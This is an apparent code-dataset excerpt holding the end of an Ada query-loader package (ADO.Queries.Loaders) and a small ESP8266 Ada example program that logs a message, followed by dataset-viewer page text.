Path : constant String := Util.Files.Find_File_Path (Name => File.Name.all,
Paths => Paths);
begin
Manager.Files (File.File).File := File;
Manager.Files (File.File).Last_Modified := 0;
Manager.Files (File.File).Next_Check := 0;
Manager.Files (File.File).Path := To_Unbounded_String (Path);
if Load then
Read_Query (Manager, Manager.Files (File.File));
end if;
end;
File := File.Next;
end loop;
end Initialize;
-- ------------------------------
-- Find the query identified by the given name.
-- ------------------------------
function Find_Query (Name : in String) return Query_Definition_Access is
File : Query_File_Access := Query_Files;
begin
while File /= null loop
declare
Query : Query_Definition_Access := File.Queries;
begin
while Query /= null loop
if Query.Name.all = Name then
return Query;
end if;
Query := Query.Next;
end loop;
end;
File := File.Next;
end loop;
Log.Warn ("Query {0} not found", Name);
return null;
end Find_Query;
package body File is
begin
File.Name := Name'Access;
File.Sha1_Map := Hash'Access;
end File;
package body Query is
begin
Query.Name := Query_Name'Access;
Query.File := File;
Register (File => File, Query => Query'Access);
end Query;
end ADO.Queries.Loaders;
|
src/main.adb | jklmnn/esp8266-ada-example | 6 | 330 | <reponame>jklmnn/esp8266-ada-example
with Componolit.Runtime.Debug;
procedure Main
is
procedure Delay_Ms(Ms : Natural) with
Import,
Convention => C,
External_Name => "delayMicroseconds";
function Message return String;
function Message return String
is
begin
return "Make with Ada!";
end Message;
begin
Componolit.Runtime.Debug.Log_Debug (Message);
Delay_Ms (500000);
end Main;
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.